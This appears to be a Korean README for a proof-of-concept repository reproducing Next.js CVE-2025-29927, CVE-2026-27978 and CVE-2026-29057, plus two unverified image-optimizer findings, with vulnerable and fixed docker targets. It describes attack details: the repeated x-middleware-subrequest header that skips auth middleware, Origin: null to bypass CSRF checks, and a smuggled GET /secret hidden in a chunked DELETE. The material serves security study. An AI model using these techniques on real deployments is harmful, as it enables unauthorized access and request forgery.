
Next.js의 CVE-2025-29927, CVE-2026-27978 및 CVE-2026-29057에 대한 일부 개념 증명(PoC)입니다.
이 저장소에는 세 가지 Next.js 취약점에 대한 재현 가능한 개념 증명(PoC) 환경이 포함되어 있습니다. 각 PoC에는 취약한 대상, 수정된 대상, 그리고 두 대상 간의 동작 차이를 보여주는 스크립트가 포함되어 있습니다.
이 프로젝트의 목표는 각 문제의 근본 원인과 실제 영향을 최소한의 환경에서 쉽게 관찰할 수 있도록 하는 것입니다.
| CVE | 권고 | 영향 | 취약 버전 | 수정 버전 |
|---|---|---|---|---|
CVE-2025-29927 | GHSA-f82v-jwr5-mffw | 액세스 제어가 미들웨어에만 의존할 때 인증 우회 | 15.2.2 | 15.2.3 |
CVE-2026-27978 | GHSA-mq59-m269-xvcx | Server Actions CSRF 검사를 우회하는 Origin: null | 16.1.6 | 16.1.7 |
CVE-2026-29057 | GHSA-ggv3-7p47-pfv8 | 외부 백엔드로의 재작성(rewrite)을 통한 HTTP 요청 스머글링 | 15.5.12 | 15.5.13 |
NEXT-16.2.4-IMAGE-REDIRECT | 로컬 소스 감사 발견 사항 | 리다이렉트를 통한 이미지 옵티마이저 원격 허용 목록 우회 | 16.2.4 | 검증되지 않음 |
NEXT-16.2.4-IMAGE-LOCAL-REWRITE | 로컬 소스 감사 발견 사항 | 외부 재작성을 통해 이미지 옵티마이저 로컬 URL이 프라이빗 업스트림에 도달할 수 있음 | 16.2.4 | 검증되지 않음 |
아래 해시는 업스트림 vercel/next.js에서 가져온 것입니다.
| CVE | 취약 릴리스 커밋 | 수정 릴리스 커밋 | 관련 패치 커밋 |
|---|---|---|---|
CVE-2025-29927 | v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672 | v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b | 52a078da3884efe6501613c7834a3d02a91676d2 |
CVE-2026-27978 | v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076e | v16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626 | a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8 |
CVE-2026-29057 | v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925 | v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069 | dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6 |
.
|- docker-compose.yml
|- pocs/
| |- cve-2025-29927/
| |- cve-2026-27978/
| |- cve-2026-29057/
| |- next-16.2.4-image-redirect-allowlist-bypass/
| `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
|- run-cve-2025-29927.mjs
|- run-cve-2026-27978.mjs
|- run-cve-2026-29057.mjs
|- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
`- run-next-16.2.4-image-local-rewrite-ssrf.mjs
docker compose를 사용할 수 있는지 확인합니다.docker compose up --build
노출 포트:
3001 -> CVE-2025-29927 취약3002 -> CVE-2025-29927 수정됨3003 -> CVE-2026-27978 취약3004 -> CVE-2026-27978 수정됨3005 -> CVE-2026-29057 취약3006 -> CVE-2026-29057 수정됨3007 -> NEXT-16.2.4-IMAGE-REDIRECT3008 -> NEXT-16.2.4-IMAGE-LOCAL-REWRITE이 PoC에서 /dashboard는 미들웨어로만 보호됩니다:
export function middleware(request) {
const session = request.cookies.get('session')?.value
if (session !== 'admin') {
return NextResponse.redirect(new URL('/login', request.url))
}
return NextResponse.next()
}
인증 검사 자체는 잘못되지 않았습니다. 문제는 라우트가 미들웨어 실행을 건너뛸 수 없다는 가정에 전적으로 의존한다는 점입니다.
영향을 받는 Next.js 버전에서는 외부 요청이 내부 헤더 x-middleware-subrequest를 여전히 제공할 수 있었고, 런타임은 해당 값을 신뢰할 수 있는 미들웨어 메타데이터로 처리했습니다. 관련 취약 로직은 다음과 같습니다:
const INTERNAL_HEADERS = [
'x-middleware-rewrite',
'x-middleware-redirect',
'x-middleware-set-cookie',
'x-middleware-skip',
'x-middleware-override-headers',
'x-middleware-next',
'x-now-route-matches',
'x-matched-path',
]
export const filterInternalHeaders = (headers) => {
for (const header in headers) {
if (INTERNAL_HEADERS.includes(header)) {
delete headers[header]
}
}
}
x-middleware-subrequest는 여기서 필터링되지 않았으므로 공격자가 제어하는 입력이 미들웨어 런타임에 도달할 수 있었습니다. 그런 다음 이 값은 재귀 깊이를 계산하는 데 사용되었습니다:
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
)
if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new Response(null, {
headers: {
'x-middleware-next': '1',
},
}),
}
}
공격자가 middleware:middleware:middleware:middleware:middleware를 보내면 런타임은 이미 재귀 깊이에 도달했다고 판단하고 애플리케이션 미들웨어를 실행하지 않은 채 요청을 전달할 수 있습니다.
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002
예상 동작:
3001은 익스플로잇 헤더 없이 리다이렉트를 반환하지만, x-middleware-subrequest를 포함하면 200 OK를 반환합니다.3002는 내부 헤더가 더 이상 외부 입력에서 신뢰되지 않으므로 계속 /login으로 리다이렉트합니다.이 PoC는 서버 측 상태를 변경하는 일반적인 Server Action을 노출합니다:
'use server'
import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'
export async function transferFunds(formData) {
const cookieStore = await cookies()
const session = cookieStore.get('session')?.value
if (!session) {
throw new Error('Victim session cookie is missing.')
}
const amount = Number(formData.get('amount') || '0')
recordTransfer(session, amount)
revalidatePath('/')
}
문제는 transferFunds() 자체에 있는 것이 아닙니다. 취약한 동작은 Server Actions에 대한 Next.js CSRF 검증에 있었습니다. 영향을 받는 버전에서는 Origin: null이 명시적인 불투명 출처(opaque origin) 대신 누락된 출처로 처리되었습니다:
const originHeader = req.headers['origin']
const originDomain =
typeof originHeader === 'string' && originHeader !== 'null'
? new URL(originHeader).host
: undefined
const host = parseHostHeader(req.headers)
if (!originDomain) {
warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
// Ignore it
} else {
const error = new Error('Invalid Server Actions request.')
// ...
}
}
'null'이 undefined가 되었기 때문에 샌드박스 iframe과 같은 불투명 출처의 요청은 호스트/출처 비교 경로를 우회하면서도 피해자 쿠키가 첨부된 채 처리될 수 있었습니다.
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004
예상 동작:
Origin: null로 제출합니다.이 PoC는 /rewrites/:path*를 외부 백엔드로 재작성합니다:
/** @type {import('next').NextConfig} */
const nextConfig = {
async rewrites() {
return [
{
source: '/rewrites/:path*',
destination: 'http://127.0.0.1:4000/rewrites/:path*',
},
]
},
}
module.exports = nextConfig
취약한 동작은 Next.js가 재작성에 사용하는 벤더링된(vendored) http-proxy 의존성에 있었습니다. 영향을 받는 버전에서 DELETE 및 OPTIONS 요청에 대한 프록시 로직은 content-length: 0을 추가하고 transfer-encoding을 제거할 수 있었습니다:
deleteLength: function deleteLength(req, res, options) {
if (
(req.method === 'DELETE' || req.method === 'OPTIONS') &&
!req.headers['content-length']
) {
req.headers['content-length'] = '0'
delete req.headers['transfer-encoding']
}
},
이로 인해 조작된 청크(chunked) 요청이 전달될 때 프록시 체인과 백엔드 간에 요청 경계 불일치가 발생했습니다. 그 결과 두 번째 요청이 동일한 연결을 통해 백엔드로 밀반입(smuggle)될 수 있었습니다.
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006
예상 동작:
GET /secret을 포함하는 원시 청크 DELETE /rewrites/poc 요청을 전송합니다.DELETE /rewrites/poc와 GET /secret을 모두 기록합니다.관찰된 예제 출력:
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.